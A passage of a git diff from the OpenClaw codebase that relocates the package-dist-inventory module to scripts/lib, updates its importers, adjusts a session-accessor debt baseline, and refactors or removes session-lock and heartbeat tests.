=== "dist") { + distDirs.push(path.join(packageRoot, entry.name)); + } + } + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") { + return []; + } + throw error; + } + + const debris: string[] = []; + for (const distDir of distDirs) { + let distEntries: import("node:fs").Dirent[]; + try { + distEntries = await fs.readdir(distDir, { withFileTypes: true }); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") { + continue; + } + throw error; + } + + for (const distEntry of distEntries) { + if (!distEntry.isDirectory() || distEntry.name.toLowerCase() !== "extensions") { + continue; + } + const extensionsDir = path.join(distDir, distEntry.name); + let extensionEntries: import("node:fs").Dirent[]; + try { + extensionEntries = await fs.readdir(extensionsDir, { withFileTypes: true }); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") { + continue; + } + throw error; + } + + for (const extensionEntry of extensionEntries) { + if (!extensionEntry.isDirectory()) { + continue; + } + const extensionPath = path.join(extensionsDir, extensionEntry.name); + let stagingEntries: import("node:fs").Dirent[]; + try { + stagingEntries = await fs.readdir(extensionPath, { withFileTypes: true }); + } catch (error) { + if ((error as NodeJS.ErrnoException).code === "ENOENT") { + continue; + } + throw error; + } + for (const stagingEntry of stagingEntries) { + if (!isInstallStageDirName(stagingEntry.name)) { + continue; + } + debris.push( + normalizeRelativePath( + path.relative(packageRoot, path.join(extensionPath, stagingEntry.name)), + ), + ); + } + } + } + } + return debris.toSorted((left, right) => left.localeCompare(right)); +} + +async function assertNoLegacyPluginDependencyStagingDebris(packageRoot: string): Promise { + const debris = await collectLegacyPluginDependencyStagingDebrisPaths(packageRoot); + if (debris.length === 0) { + return; + } + throw new Error( + `unexpected legacy plugin dependency staging debris in package dist: ${debris.join(", ")}`, + ); +} + +export async function writePackageDistInventory(packageRoot: string): Promise { + await assertNoLegacyPluginDependencyStagingDebris(packageRoot); + const inventory = sortUniqueStrings(await collectPackageDistInventory(packageRoot)); + const inventoryPath = path.join(packageRoot, PACKAGE_DIST_INVENTORY_RELATIVE_PATH); + await writeJson(inventoryPath, inventory, { trailingNewline: true }); + return inventory; +} diff --git a/scripts/lib/session-accessor-debt-baseline.json b/scripts/lib/session-accessor-debt-baseline.json index 2e434797de3c..da70f54c3fee 100644 --- a/scripts/lib/session-accessor-debt-baseline.json +++ b/scripts/lib/session-accessor-debt-baseline.json @@ -11,8 +11,8 @@ "src/commands/doctor/shared/codex-route-warnings.ts": 3, "src/config/sessions/session-accessor.sqlite.ts": 2, "src/config/sessions/session-accessor.ts": 12, - "src/config/sessions/store-load.ts": 5, - "src/config/sessions/store.ts": 15, + "src/config/sessions/store-load.ts": 3, + "src/config/sessions/store.ts": 10, "src/config/sessions/test-helpers.ts": 2, "src/config/sessions/transcript.ts": 2 }, @@ -31,7 +31,7 @@ "sessionLifecycleCleanup": { "src/config/sessions/session-accessor.sqlite.ts": 2, "src/config/sessions/store-maintenance-operations.ts": 2, - "src/config/sessions/store.ts": 5 + "src/config/sessions/store.ts": 2 }, "transcriptWriter": { "src/agents/embedded-agent-runner/compaction-hooks.ts": 2, @@ -39,7 +39,6 @@ "src/agents/embedded-agent-runner/tool-result-truncation.ts": 3, "src/agents/embedded-agent-runner/transcript-rewrite.ts": 3, "src/config/sessions/session-accessor.sqlite.ts": 3, - "src/config/sessions/session-accessor.ts": 2, - "src/config/sessions/store.ts": 2 + "src/config/sessions/session-accessor.ts": 2 } } diff --git a/scripts/openclaw-npm-release-check.ts b/scripts/openclaw-npm-release-check.ts index deede407d8fc..ee3415338aac 100644 --- a/scripts/openclaw-npm-release-check.ts +++ b/scripts/openclaw-npm-release-check.ts @@ -5,17 +5,17 @@ import { execFileSync } from "node:child_process"; import { readFileSync } from "node:fs"; import { join } from "node:path"; import { pathToFileURL } from "node:url"; -import { - LOCAL_BUILD_METADATA_DIST_PATHS, - PACKAGE_DIST_INVENTORY_RELATIVE_PATH, - writePackageDistInventory, -} from "../src/infra/package-dist-inventory.ts"; import { compareReleaseVersions as compareReleaseVersionsBase, collectReleaseVersionFloorErrors as collectReleaseVersionFloorErrorsBase, resolveNpmDistTagMirrorAuth as resolveNpmDistTagMirrorAuthBase, parseReleaseVersion as parseReleaseVersionBase, } from "./lib/npm-publish-plan.mjs"; +import { + LOCAL_BUILD_METADATA_DIST_PATHS, + PACKAGE_DIST_INVENTORY_RELATIVE_PATH, + writePackageDistInventory, +} from "./lib/package-dist-inventory.ts"; import { WORKSPACE_TEMPLATE_PACK_PATHS } from "./lib/workspace-bootstrap-smoke.mjs"; import { buildCmdExeCommandLine, resolveWindowsCmdExePath } from "./windows-cmd-helpers.mjs"; diff --git a/scripts/openclaw-prepack.ts b/scripts/openclaw-prepack.ts index 963657d4c5d7..a4409b13575e 100644 --- a/scripts/openclaw-prepack.ts +++ b/scripts/openclaw-prepack.ts @@ -5,7 +5,7 @@ import { spawnSync, type SpawnSyncOptions } from "node:child_process"; import { existsSync, readdirSync } from "node:fs"; import { pathToFileURL } from "node:url"; import { formatErrorMessage } from "../src/infra/errors.ts"; -import { writePackageDistInventory } from "../src/infra/package-dist-inventory.ts"; +import { writePackageDistInventory } from "./lib/package-dist-inventory.ts"; import { preparePackageChangelog } from "./package-changelog.mjs"; import { createPnpmRunnerSpawnSpec } from "./pnpm-runner.mjs"; const FULL_GIT_COMMIT_RE = /^[0-9a-f]{40}$/iu; diff --git a/scripts/package-openclaw-for-docker.mjs b/scripts/package-openclaw-for-docker.mjs index a64ca046f5d6..1413015a7dcc 100644 --- a/scripts/package-openclaw-for-docker.mjs +++ b/scripts/package-openclaw-for-docker.mjs @@ -742,7 +742,7 @@ async function main() { "tsx", "--input-type=module", "-e", - "const { writePackageDistInventory } = await import('./src/infra/package-dist-inventory.ts'); await writePackageDistInventory(process.cwd());", + "const { writePackageDistInventory } = await import('./scripts/lib/package-dist-inventory.ts'); await writePackageDistInventory(process.cwd());", ], sourceDir, { diff --git a/scripts/release-check.ts b/scripts/release-check.ts index 51cc8314e9ce..6673172eb702 100755 --- a/scripts/release-check.ts +++ b/scripts/release-check.ts @@ -20,12 +20,6 @@ import { basename, dirname, join, resolve, win32 } from "node:path"; import { pathToFileURL } from "node:url"; import { expectDefined } from "../packages/normalization-core/src/expect.js"; import { COMPLETION_SKIP_PLUGIN_COMMANDS_ENV } from "../src/cli/completion-runtime.ts"; -import { - isLegacyPluginDependencyInstallStagePath, - LOCAL_BUILD_METADATA_DIST_PATHS, - PACKAGE_DIST_INVENTORY_RELATIVE_PATH, - writePackageDistInventory, -} from "../src/infra/package-dist-inventory.ts"; import { escapeRegExp } from "../src/shared/regexp.js"; import { checkCliBootstrapExternalImports } from "./check-cli-bootstrap-imports.mjs"; import { @@ -38,6 +32,12 @@ import { listBundledPluginPackArtifacts, } from "./lib/bundled-plugin-build-entries.mjs"; import { collectPackUnpackedSizeErrors as collectNpmPackUnpackedSizeErrors } from "./lib/npm-pack-budget.mjs"; +import { + isLegacyPluginDependencyInstallStagePath, + LOCAL_BUILD_METADATA_DIST_PATHS, + PACKAGE_DIST_INVENTORY_RELATIVE_PATH, + writePackageDistInventory, +} from "./lib/package-dist-inventory.ts"; import { collectBundledPluginPackageDependencySpecs } from "./lib/plugin-package-dependencies.mjs"; import { listPluginSdkDistArtifacts, diff --git a/scripts/write-package-dist-inventory.ts b/scripts/write-package-dist-inventory.ts index 070e645b0a5b..aca18908c024 100644 --- a/scripts/write-package-dist-inventory.ts +++ b/scripts/write-package-dist-inventory.ts @@ -2,7 +2,7 @@ // Write Package Dist Inventory script supports OpenClaw repository automation. import { pathToFileURL } from "node:url"; -import { writePackageDistInventory } from "../src/infra/package-dist-inventory.ts"; +import { writePackageDistInventory } from "./lib/package-dist-inventory.ts"; async function writeCurrentPackageDistInventory(): Promise { await writePackageDistInventory(process.cwd()); diff --git a/src/acp/control-plane/manager.test-helpers.ts b/src/acp/control-plane/manager.test-helpers.ts index 05fb6b8d9094..8268acbe125b 100644 --- a/src/acp/control-plane/manager.test-helpers.ts +++ b/src/acp/control-plane/manager.test-helpers.ts @@ -4,7 +4,6 @@ import { afterEach, beforeEach, expect, vi } from "vitest"; import { resetAcpManagerTaskStateForTests } from "../../../test/helpers/acp-manager-task-state.js"; import type { OpenClawConfig } from "../../config/config.js"; import type { AcpSessionRuntimeOptions, SessionAcpMeta } from "../../config/sessions/types.js"; -import { resetHeartbeatWakeStateForTests } from "../../infra/heartbeat-wake.js"; import { deleteTestEnvValue, setTestEnvValue } from "../../test-utils/env.js"; import { resetAcpActiveTurnsForTests } from "./active-turns.js"; @@ -338,7 +337,6 @@ export function installAcpSessionManagerTestLifecycle(): void { } else { setTestEnvValue("OPENCLAW_STATE_DIR", ORIGINAL_STATE_DIR); } - resetHeartbeatWakeStateForTests(); resetAcpManagerTaskStateForTests(); }); } diff --git a/src/agents/bash-tools.exec-runtime.test.ts b/src/agents/bash-tools.exec-runtime.test.ts index 2b5438be5120..079d1bcab563 100644 --- a/src/agents/bash-tools.exec-runtime.test.ts +++ b/src/agents/bash-tools.exec-runtime.test.ts @@ -37,19 +37,23 @@ let resetProcessRegistryForTests: typeof import("./bash-process-registry.js").re let resolveExecTarget: typeof import("./bash-tools.exec-runtime.js").resolveExecTarget; let runExecProcess: typeof import("./bash-tools.exec-runtime.js").runExecProcess; let prepareGatewaySuspend: typeof import("../infra/gateway-suspend-coordinator.js").prepareGatewaySuspend; -let resetGatewaySuspendCoordinatorForTest: typeof import("../infra/gateway-suspend-coordinator.js").resetGatewaySuspendCoordinatorForTest; +let resetGatewaySuspendCoordinatorForLifecycleRestart: typeof import("../infra/gateway-suspend-coordinator.js").resetGatewaySuspendCoordinatorForLifecycleRestart; let resumeGatewaySuspend: typeof import("../infra/gateway-suspend-coordinator.js").resumeGatewaySuspend; beforeAll(async () => { ({ getActiveBackgroundExecSessionCount, markBackgrounded, resetProcessRegistryForTests } = await import("./bash-process-registry.js")); ({ resolveExecTarget, runExecProcess } = await import("./bash-tools.exec-runtime.js")); - ({ prepareGatewaySuspend, resetGatewaySuspendCoordinatorForTest, resumeGatewaySuspend } = + ({ + prepareGatewaySuspend, + resetGatewaySuspendCoordinatorForLifecycleRestart, + resumeGatewaySuspend, + } = await import("../infra/gateway-suspend-coordinator.js")); }); beforeEach(() => { - resetGatewaySuspendCoordinatorForTest(); + resetGatewaySuspendCoordinatorForLifecycleRestart(); resetProcessRegistryForTests(); requestHeartbeatMock.mockClear(); enqueueSystemEventMock.mockClear(); @@ -57,7 +61,6 @@ beforeEach(() => { }); afterEach(() => { - resetGatewaySuspendCoordinatorForTest(); resetProcessRegistryForTests(); }); diff --git a/src/agents/bash-tools.exec.resolve-env-hook.test.ts b/src/agents/bash-tools.exec.resolve-env-hook.test.ts index d3e4e7b4ace2..26fb6de30eaf 100644 --- a/src/agents/bash-tools.exec.resolve-env-hook.test.ts +++ b/src/agents/bash-tools.exec.resolve-env-hook.test.ts @@ -5,7 +5,6 @@ */ import { expectDefined } from "@openclaw/normalization-core"; import { beforeAll, beforeEach, describe, expect, it, vi } from "vitest"; -import { OPENCLAW_CLI_ENV_VALUE } from "../infra/openclaw-exec-env.js"; import type { ExecuteNodeHostCommandParams } from "./bash-tools.exec-host-node.types.js"; import type { BashSandboxConfig } from "./bash-tools.shared.js"; import type { ExtensionContext } from "./sessions/index.js"; @@ -17,6 +16,7 @@ declare module "../plugins/hook-types.js" { } const CHANNEL_CONTEXT_ENV_KEY = "OPENCLAW_CHANNEL_CONTEXT"; +const OPENCLAW_CLI_ENV_VALUE = "1"; type CapturedNodeHostParams = Pick< ExecuteNodeHostCommandParams, "env" | "requestedEnv" | "workdir" diff --git a/src/agents/bash-tools.test.ts b/src/agents/bash-tools.test.ts index 60bbf97d6fb7..c2da895b7727 100644 --- a/src/agents/bash-tools.test.ts +++ b/src/agents/bash-tools.test.ts @@ -7,10 +7,7 @@ import { expectDefined } from "@openclaw/normalization-core"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; import { drainFormattedSystemEvents } from "../auto-reply/reply/session-system-events.js"; import type { OpenClawConfig } from "../config/config.js"; -import { - resetHeartbeatWakeStateForTests, - setHeartbeatWakeHandler, -} from "../infra/heartbeat-wake.js"; +import { requestHeartbeat, setHeartbeatWakeHandler } from "../infra/heartbeat-wake.js"; import { applyPathPrepend, findPathKey } from "../infra/path-prepend.js"; import { peekSystemEventEntries, @@ -820,13 +817,25 @@ describe("exec exit codes", () => { describe("exec notifyOnExit", () => { useCapturedEnv([...SHELL_ENV_KEYS], applyDefaultShellEnv); - beforeEach(() => { - resetHeartbeatWakeStateForTests(); - }); + async function drainPendingHeartbeatWakes(): Promise { + const handler = vi.fn(async () => ({ status: "ran" as const, durationMs: 0 })); + const dispose = setHeartbeatWakeHandler(handler); + try { + requestHeartbeat({ + source: "other", + intent: "immediate", + reason: "test-cleanup", + coalesceMs: 0, + }); + await expect.poll(() => handler.mock.calls.length, NOTIFY_POLL_OPTIONS).toBeGreaterThan(0); + } finally { + dispose(); + } + } - afterEach(() => { - resetHeartbeatWakeStateForTests(); - }); + beforeEach(drainPendingHeartbeatWakes); + + afterEach(drainPendingHeartbeatWakes); it("enqueues a system event when a backgrounded exec exits", async () => { const tool = createNotifyOnExitExecTool(); diff --git a/src/agents/embedded-agent-runner/run.overflow-compaction.test.ts b/src/agents/embedded-agent-runner/run.overflow-compaction.test.ts index c46a226df99e..bff39d31dd8e 100644 --- a/src/agents/embedded-agent-runner/run.overflow-compaction.test.ts +++ b/src/agents/embedded-agent-runner/run.overflow-compaction.test.ts @@ -14,7 +14,7 @@ import { claimAgentRunContext, getAgentEventLifecycleGeneration, getAgentRunContext, - resetAgentRunContextForTest, + resetAgentEventsForTest, rotateAgentEventLifecycleGeneration, withAgentRunLifecycleGeneration, } from "../../infra/agent-events.js"; @@ -301,6 +301,7 @@ describe("runEmbeddedAgent overflow compaction trigger routing", () => { }); beforeEach(() => { + resetAgentEventsForTest(); resetRunOverflowCompactionHarnessMocks(); mockedBuildEmbeddedRunPayloads.mockReturnValue([{ text: "ok" }]); }); @@ -1117,7 +1118,6 @@ describe("runEmbeddedAgent overflow compaction trigger routing", () => { }); it("rebinds preserved queued work to the current lifecycle generation", async () => { - resetAgentRunContextForTest(); mockedRunEmbeddedAttempt.mockResolvedValueOnce(makeAttemptResult({ promptError: null })); let enqueueCount = 0; let runQueuedTask: (() => void) | undefined; @@ -1157,7 +1157,6 @@ describe("runEmbeddedAgent overflow compaction trigger routing", () => { expect(onExecutionStarted).toHaveBeenCalledWith({ lifecycleGeneration: currentLifecycleGeneration, }); - resetAgentRunContextForTest(); }); it("revalidates reserved harness ownership after the global queue wait", async () => { @@ -1222,7 +1221,6 @@ describe("runEmbeddedAgent overflow compaction trigger routing", () => { }); it("rejects background work queued across lifecycle rotation", async () => { - resetAgentRunContextForTest(); let enqueueCount = 0; let runQueuedTask: (() => void) | undefined; const runPromise = runEmbeddedAgent({ @@ -1256,7 +1254,6 @@ describe("runEmbeddedAgent overflow compaction trigger routing", () => { }); it("does not claim a rebound generation after queued work was aborted", async () => { - resetAgentRunContextForTest(); let enqueueCount = 0; let runQueuedTask: (() => void) | undefined; const abortController = new AbortController(); @@ -1292,7 +1289,6 @@ describe("runEmbeddedAgent overflow compaction trigger routing", () => { }); it("rejects stale descendants admitted after lifecycle rotation", async () => { - resetAgentRunContextForTest(); const preRestartGeneration = getAgentEventLifecycleGeneration(); rotateAgentEventLifecycleGeneration(); @@ -3815,7 +3811,6 @@ describe("runEmbeddedAgent overflow compaction trigger routing", () => { }); it("does not let an old execution rotate a newer same-id run context", async () => { - resetAgentRunContextForTest(); const currentLifecycleGeneration = rotateAgentEventLifecycleGeneration(); claimAgentRunContext("shared-run", { sessionKey: "new-session-key", @@ -3845,7 +3840,6 @@ describe("runEmbeddedAgent overflow compaction trigger routing", () => { lifecycleGeneration: currentLifecycleGeneration, }), ); - resetAgentRunContextForTest(); }); it("guards thrown engine-owned overflow compaction attempts", async () => { diff --git a/src/agents/embedded-agent-runner/run/attempt.session-lock.test.ts b/src/agents/embedded-agent-runner/run/attempt.session-lock.test.ts index 2919fa6ebd5d..6197e9f30dfd 100644 --- a/src/agents/embedded-agent-runner/run/attempt.session-lock.test.ts +++ b/src/agents/embedded-agent-runner/run/attempt.session-lock.test.ts @@ -1,22 +1,18 @@ // Coverage for embedded attempt session-file ownership and write locks. -import { appendFileSync, writeFileSync } from "node:fs"; +import { appendFileSync } from "node:fs"; import fs from "node:fs/promises"; import os from "node:os"; import path from "node:path"; import { MAX_TIMER_TIMEOUT_MS } from "@openclaw/normalization-core/number-coercion"; -import { afterEach, beforeAll, describe, expect, it, vi } from "vitest"; +import { afterEach, describe, expect, it, vi } from "vitest"; import { resolveSessionTranscriptPathInDir } from "../../../config/sessions/paths.js"; import { loadTranscriptEvents, upsertSessionEntry, } from "../../../config/sessions/session-accessor.js"; -import { - appendSessionTranscriptEvent, - appendSessionTranscriptMessage, -} from "../../../config/sessions/transcript-append.test-support.js"; +import { appendSessionTranscriptMessage } from "../../../config/sessions/transcript-append.test-support.js"; import { runWithOwnedSessionTranscriptWriteLock, - runWithOwnedSessionTranscriptWritePublication, withOwnedSessionTranscriptWrites, } from "../../../config/sessions/transcript-write-context.js"; import { appendExactAssistantMessageToSessionTranscript } from "../../../config/sessions/transcript.js"; @@ -47,26 +43,6 @@ const lockOptions = { }; const tempDirs: string[] = []; -const LARGE_LINEAR_TRANSCRIPT_LINE = `${JSON.stringify({ - type: "message", - id: "large-linear-user", - timestamp: "2026-01-01T00:00:00.000Z", - message: { - role: "user", - content: [{ type: "text", text: "界".repeat(Math.ceil((7 * 1024 * 1024) / 3)) }], - }, -})}\n`; -const LARGE_LEGACY_DELIVERY_TRANSCRIPT_LINE = `${JSON.stringify({ - type: "message", - id: "large-legacy-user", - timestamp: "2026-01-01T00:00:00.000Z", - message: { - role: "user", - content: [{ type: "text", text: "界".repeat(Math.ceil((8 * 1024 * 1024) / 3)) }], - }, -})}\n`; -const LARGE_OWNED_TRANSCRIPT_TEXT = "界".repeat(1024 * 1024); - afterEach(async () => { vi.restoreAllMocks(); resetEmbeddedAttemptSessionFileOwnersForTest(); @@ -86,19 +62,6 @@ async function createTempSessionFile(): Promise { return sessionFile; } -async function readSessionFileTail(sessionFile: string, maxBytes = 512): Promise { - const stat = await fs.stat(sessionFile); - const length = Math.min(maxBytes, stat.size); - const buffer = Buffer.alloc(length); - const handle = await fs.open(sessionFile, "r"); - try { - const { bytesRead } = await handle.read(buffer, 0, length, stat.size - length); - return buffer.toString("utf8", 0, bytesRead); - } finally { - await handle.close(); - } -} - async function waitUntil(predicate: () => boolean, message: string): Promise { const deadline = Date.now() + 1_000; while (!predicate()) { @@ -1314,143 +1277,6 @@ describe("embedded attempt session lock lifecycle", () => { await cleanupLock.release(); }); - it("preserves mixed delivery and metadata side branches across a stale-manager rewrite", async () => { - const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-attempt-session-delivery-")); - tempDirs.push(dir); - const initialManager = SessionManager.create(dir, dir); - initialManager.appendMessage({ - role: "user", - content: "question", - timestamp: 1, - }); - initialManager.appendMessage({ - role: "assistant", - content: [{ type: "text", text: "first answer" }], - api: "messages", - provider: "anthropic", - model: "sonnet-4.6", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: 2, - }); - const sessionFile = initialManager.getSessionFile(); - if (!sessionFile) { - throw new Error("expected persisted session file"); - } - const staleManager = SessionManager.open(sessionFile, dir, dir); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries: (entries) => - staleManager.mergePromptReleasedSessionEntries(entries, { persistLeaf: true }), - reloadPromptReleasedSessionFile: () => staleManager.setSessionFile(sessionFile), - }); - - await controller.releaseForPrompt(); - const sessionKey = "agent:main:delivery-side-branch"; - const deliveryId = await withOwnedSessionTranscriptWrites( - { - sessionFile, - sessionKey, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => { - const delivery = await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { - role: "assistant", - content: [{ type: "text", text: "owned plugin delivery" }], - api: "messages", - provider: "anthropic", - model: "sonnet-4.6", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: 3, - }, - }); - await appendSessionTranscriptEvent({ - transcriptPath: sessionFile, - event: { - type: "label", - id: "delivery-label", - parentId: delivery.messageId, - timestamp: new Date().toISOString(), - targetId: delivery.messageId, - label: "delivered", - }, - }); - await appendSessionTranscriptEvent({ - transcriptPath: sessionFile, - event: { - type: "session_info", - id: "session-info", - parentId: "delivery-label", - timestamp: new Date().toISOString(), - name: "delivery session", - }, - }); - return delivery.messageId; - }, - ); - - await controller.withSessionWriteLock(() => { - staleManager.appendMessage({ - role: "assistant", - content: [{ type: "text", text: "current answer" }], - api: "messages", - provider: "anthropic", - model: "sonnet-4.6", - usage: { - input: 0, - output: 0, - cacheRead: 0, - cacheWrite: 0, - totalTokens: 0, - cost: { input: 0, output: 0, cacheRead: 0, cacheWrite: 0, total: 0 }, - }, - stopReason: "stop", - timestamp: 4, - }); - }); - ( - staleManager as unknown as { - replacePersistedTranscript: () => void; - } - ).replacePersistedTranscript(); - - const reopened = SessionManager.open(sessionFile, dir, dir); - expect(reopened.getEntry(deliveryId)).toMatchObject({ - type: "message", - message: expect.objectContaining({ model: "sonnet-4.6" }), - }); - expect(reopened.getLabel(deliveryId)).toBe("delivered"); - expect(reopened.getSessionName()).toBe("delivery session"); - expect(reopened.buildSessionContext().messages.map((message) => message.role)).toEqual([ - "user", - "assistant", - "assistant", - ]); - expect(controller.hasSessionTakeover()).toBe(false); - - const cleanupLock = await controller.acquireForCleanup(); - await cleanupLock.release(); - }); - it.each([ ["custom without customType", { type: "custom", data: { provider: "openai" } }], ["custom with empty customType", { type: "custom", customType: "" }], @@ -1826,70 +1652,6 @@ describe("embedded attempt session lock lifecycle", () => { expect(controller.hasSessionTakeover()).toBe(false); }); - describe("large legacy linear transcript delivery", () => { - let result: { - hasTakeover: boolean; - lastLine?: string; - mergedEntries: unknown; - }; - - beforeAll(async () => { - const sessionFile = await createTempSessionFile(); - await fs.appendFile(sessionFile, LARGE_LEGACY_DELIVERY_TRANSCRIPT_LINE, "utf8"); - const mergePromptReleasedSessionEntries = vi.fn(); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries, - }); - - await controller.releaseForPrompt(); - const sessionKey = "agent:main:large-linear-delivery"; - await withOwnedSessionTranscriptWrites( - { - sessionFile, - sessionKey, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await runWithOwnedSessionTranscriptWritePublication( - { sessionFile, sessionKey }, - async () => - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { - role: "assistant", - content: [{ type: "text", text: "mirrored large transcript delivery" }], - provider: "openclaw", - model: "delivery-mirror", - }, - }), - ), - ); - - result = { - hasTakeover: controller.hasSessionTakeover(), - lastLine: (await readSessionFileTail(sessionFile)).trimEnd().split("\n").at(-1), - mergedEntries: mergePromptReleasedSessionEntries.mock.calls[0]?.[0], - }; - await controller.dispose(); - }); - - it("allows parentless delivery mirrors appended to large legacy linear transcripts", () => { - expect(result.lastLine).toBeDefined(); - expect(JSON.parse(result.lastLine ?? "{}")).not.toHaveProperty("parentId"); - expect(result.mergedEntries).toEqual([ - expect.objectContaining({ - type: "message", - parentId: null, - message: expect.objectContaining({ model: "delivery-mirror" }), - }), - ]); - expect(result.hasTakeover).toBe(false); - }); - }); - it("refreshes the prompt fence after an owned write throws", async () => { const sessionFile = await createTempSessionFile(); const release = vi.fn(async () => {}); @@ -2690,155 +2452,6 @@ describe("embedded attempt session lock lifecycle", () => { expect(firstController.hasSessionTakeover()).toBe(false); }); - it("retains owned transcript publications until every active fence consumes them", async () => { - const sessionFile = await createTempSessionFile(); - const releases: string[] = []; - const acquireSessionWriteLockLocal2 = vi.fn(async () => ({ - release: vi.fn(async () => { - releases.push("release"); - }), - })); - const mergePromptReleasedSessionEntries = vi.fn(); - const firstController = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock: acquireSessionWriteLockLocal2, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries, - }); - - await firstController.releaseForPrompt(); - - const secondController = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock: acquireSessionWriteLockLocal2, - lockOptions: { ...lockOptions, sessionFile }, - }); - const promptActiveSession = async (run: () => Promise): Promise => - await withOwnedSessionTranscriptWrites( - { - sessionFile, - sessionKey: "agent:main:slack:channel:456", - withSessionWriteLock: (operation, options) => - secondController.withSessionWriteLock(operation, options), - }, - run, - ); - const publishedIds: string[] = []; - await promptActiveSession(async () => { - for (let index = 0; index < 70; index += 1) { - const appended = await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: - index === 0 - ? { - role: "user", - content: [{ type: "text", text: "owned user publication" }], - } - : { - role: "assistant", - content: [{ type: "text", text: `owned publication ${index}` }], - provider: "anthropic", - model: "sonnet-4.6", - }, - }); - publishedIds.push(appended.messageId); - } - }); - await secondController.releaseForPrompt(); - - await expect( - firstController.withSessionWriteLock(async () => { - await fs.appendFile(sessionFile, '{"type":"message","id":"post-prompt"}\n', "utf8"); - return "post-write"; - }), - ).resolves.toBe("post-write"); - - expect(firstController.hasSessionTakeover()).toBe(false); - expect(mergePromptReleasedSessionEntries).toHaveBeenCalledWith( - publishedIds.map((id) => expect.objectContaining({ type: "message", id })), - ); - expect(acquireSessionWriteLockLocal2).toHaveBeenCalledTimes(3); - expect(releases).toEqual(["release", "release", "release"]); - }); - - it("validates nested owned publications with the persisted entry ids", async () => { - const sessionFile = await createTempSessionFile(); - const mergePromptReleasedSessionEntries = vi.fn(); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries, - }); - await controller.releaseForPrompt(); - - const sessionKey = "agent:main:nested-publication"; - const appended = await withOwnedSessionTranscriptWrites( - { - sessionFile, - sessionKey, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await runWithOwnedSessionTranscriptWritePublication( - { sessionFile, sessionKey }, - async () => - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - message: { - role: "assistant", - content: [{ type: "text", text: "nested owned publication" }], - provider: "anthropic", - model: "sonnet-4.6", - }, - }), - ), - ); - - expect(mergePromptReleasedSessionEntries).toHaveBeenCalledWith([ - expect.objectContaining({ type: "message", id: appended.messageId }), - ]); - expect(controller.hasSessionTakeover()).toBe(false); - await controller.dispose(); - }); - - it("validates owned first-turn writes that create the transcript header", async () => { - const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-attempt-session-new-")); - tempDirs.push(dir); - const sessionFile = path.join(dir, "new-session.jsonl"); - const mergePromptReleasedSessionEntries = vi.fn(); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries, - }); - await controller.releaseForPrompt(); - - const appended = await withOwnedSessionTranscriptWrites( - { - sessionFile, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - sessionId: "new-session", - cwd: dir, - message: { - role: "assistant", - content: [{ type: "text", text: "first-turn delivery" }], - provider: "openclaw", - model: "delivery-mirror", - }, - }), - ); - - expect(mergePromptReleasedSessionEntries).toHaveBeenCalledWith([ - expect.objectContaining({ type: "message", id: appended.messageId }), - ]); - expect(controller.hasSessionTakeover()).toBe(false); - await controller.dispose(); - }); - it("validates first-turn exact assistant appends through the production facade", async () => { const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-attempt-session-facade-")); tempDirs.push(dir); @@ -2916,399 +2529,6 @@ describe("embedded attempt session lock lifecycle", () => { await controller.dispose(); }); - it("accepts header-only initialization when a first-turn append is blocked", async () => { - const sessionFile = await createTempSessionFile(); - await fs.writeFile(sessionFile, "", "utf8"); - const mergePromptReleasedSessionEntries = vi.fn(); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { ...lockOptions, sessionFile }, - mergePromptReleasedSessionEntries, - }); - await controller.releaseForPrompt(); - - await expect( - withOwnedSessionTranscriptWrites( - { - sessionFile, - withSessionWriteLock: (operation, options) => - controller.withSessionWriteLock(operation, options), - }, - async () => - await appendSessionTranscriptMessage({ - transcriptPath: sessionFile, - sessionId: "blocked-session", - message: { role: "assistant", content: "blocked" }, - prepareMessageAfterIdempotencyCheck: () => undefined, - }), - ), - ).resolves.toBeUndefined(); - - expect(mergePromptReleasedSessionEntries).toHaveBeenCalledWith([]); - expect(await fs.readFile(sessionFile, "utf8")).toContain('"type":"session"'); - expect(controller.hasSessionTakeover()).toBe(false); - await controller.dispose(); - }); - - it("preserves a created first-turn header when the owned append throws", async () => { - const dir = await fs.mkdtemp(path.join(os.tmpdir(), "openclaw-attempt-session-failed-")); - tempDirs.push(dir); - const sessionFile = path.join(dir, "failed-first-turn.jsonl"); - const mergePromptReleasedSessionEntries = vi.fn(); - const controller = await createEmbeddedAttemptSessionLockController({ - acquireSessionWriteLock, - lockOptions: { 